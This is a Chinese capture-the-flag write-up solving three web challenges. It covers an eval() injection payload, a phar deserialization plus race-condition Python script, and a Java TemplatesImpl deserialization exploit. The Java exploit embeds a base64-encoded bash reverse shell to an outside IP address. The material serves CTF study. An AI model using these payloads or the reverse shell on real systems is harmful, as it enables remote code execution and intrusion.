【Web】2022DASCTF Apr X FATE 防疫挑战赛题解(全)

warmup-php

soeasy_php

warmup-java

warmup-php

spl_autoload_register函数实现了当程序遇到调用没有定义过的函数时，会去找./class/函数名.php路径下的php文件，并把它包含在程序中。

拿到附件拖进Seay里自动审计一下

显然利用终点为evaluateExpression()

public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }

全局搜一下触发点

TestView 继承 ListView 继承 Base

以run为入口，不难审计得到调用链路

(看不懂的代码可以扔给gpt)

TestView#run()->TestView#renderContent()->TestView#renderSection($matches->TestView#renderTableBody()->TestView#renderTableRow($row)->TestView#evaluateExpression(TestView->rowHtmlOptionsExpression)

payload:

properties[template]={TableBody}&properties[data]=1&properties[rowHtmlOptionsExpression]=system("/readflag")

soeasy_php

右键查看源码，发现两个表单，第二个hidden了

先随便上传个文件看看

改前端，把hidden属性删掉，把submit注释去掉

随便传下参，回显成功更换头像

再访问/uploads/head.png读到上传文件的内容

尝试更换头像为敏感文件，实现任意读

访问/uploads/head.png，成功读到/etc/passwd

尝试去读/proc/1/environ和/flag均响应403，显然权限不够

于是退一步，用同样的方式去读/var/www/html目录下的upload.php和edit.php

upload.php

<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}
 
$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功： ".$path;
};

edit.php

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt，并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }
 
}
 
function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}
 
 
if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }
 
    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件，已被删除";
        };
    }
}

“无懈可击的web只有条件竞争能打败”

思路就是

利用文件上传上传 phar文件

写入超长文件名使得 symlink()函数出错返回 false

unlink()触发 phar 反序列化将flag写入到可读的/tmp/flag.txt 处

建立与 /tmp/flag.txt 与 uploads/head.png 的软连接

在建立与 /tmp/flag.txt 的软链接之前程序会将原来写入的flag给覆盖掉。所以要在覆盖flag后，另一个线程已经在copy /flag到 /tmp/flag.txt，这样 /uploads/head.png与/tmp/flag.txt建立了链接，同时flag也没有被覆盖，然后访问 /uploads/head.png读取即可。

生成phar文件

<?php
 
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt，并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }
 
}
 
$a = new flag();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("a.txt", "a");
$phar->stopBuffering();

先上传恶意phar文件

跑条件竞争

import requests
import threading
import time

url = "http://20d746e7-b897-412d-ba98-cd8eb863a196.node5.buuoj.cn:81/"
phar = r"phar://uploads/fe409167fb98b72dcaff5486a612a575.png/a.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
flag = r"/tmp/flag.txt"
head = "uploads/head.png"
s = requests.session()
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}


# 触发phar
def uunlink():
    path = "edit.php"
    data = {
        "png": phar,
        "flag": "1"
    }
    r = s.post(url + path, data, proxies=proxies)
    if 400 <= r.status_code < 500:
        time.sleep(1.5)


# 更改head.png为flag
def change():
    path = "edit.php"
    data = {
        "png": flag,
        "flag": "1"
    }
    r = s.post(url + path, data)
    if 400 <= r.status_code < 500:
        time.sleep(1.5)


# 读取flag
def read_flag():
    path = head
    r = s.get(url + path)
    if 400 <= r.status_code < 500:
        time.sleep(1.5)
    else:
        print(r.text)


while True:
    thread1 = threading.Thread(target=uunlink)
    thread1.start()
    thread2 = threading.Thread(target=change)
    thread2.start()
    thread3 = threading.Thread(target=read_flag)
    thread3.start()

warmup-java

没什么可用的依赖

反序列化入口

自定义handler

项目中并没有引入commons-collections4的jar包，也就没有TransformingComparator和InvokerTransformer类。写链参考CC2，但compare之后的部分要用动态代理改一下

PriorityQueue#readObject() ->
PriorityQueue#heapify() ->
PriorityQueue#siftDown()->
PriorityQueue#siftDownUsingComparator() ->
proxy.compare(TemplatesImpl) ->
MyInvocationHandler#invoke() ->
TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])

exp:

package com.example.warmup.exp;

import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class EXP {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


    public static TemplatesImpl generateEvilTemplates() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}\");";
        // 创建 static 代码块，并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换为bytes
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        return templates;
    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }

    public static String bytesTohexString(String s) throws IOException {
        File file = new File(s);
        FileInputStream fis = new FileInputStream(file);
        byte[] bytes = new byte[(int) file.length()];
        fis.read(bytes);

        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);

            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }

            return ret.toString();
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = generateEvilTemplates();

        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        Class c = myInvocationHandler.getClass();
        Field type = c.getDeclaredField("type");
        type.setAccessible(true);
        type.set(myInvocationHandler,Templates.class);

        //代理接口为Comparator,便于后续调用compare方法
        Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);

        //初始化属性comparator为proxy类
        PriorityQueue priorityQueue = new PriorityQueue(2);


        priorityQueue.add(1);
        priorityQueue.add(2);
        Object[] queue = {templates,templates};

        setFieldValue(priorityQueue,"comparator",proxy);
        setFieldValue(priorityQueue,"queue",queue);

        serialize(priorityQueue);
        System.out.println(bytesTohexString("ser.bin"));
    }
}

打入payload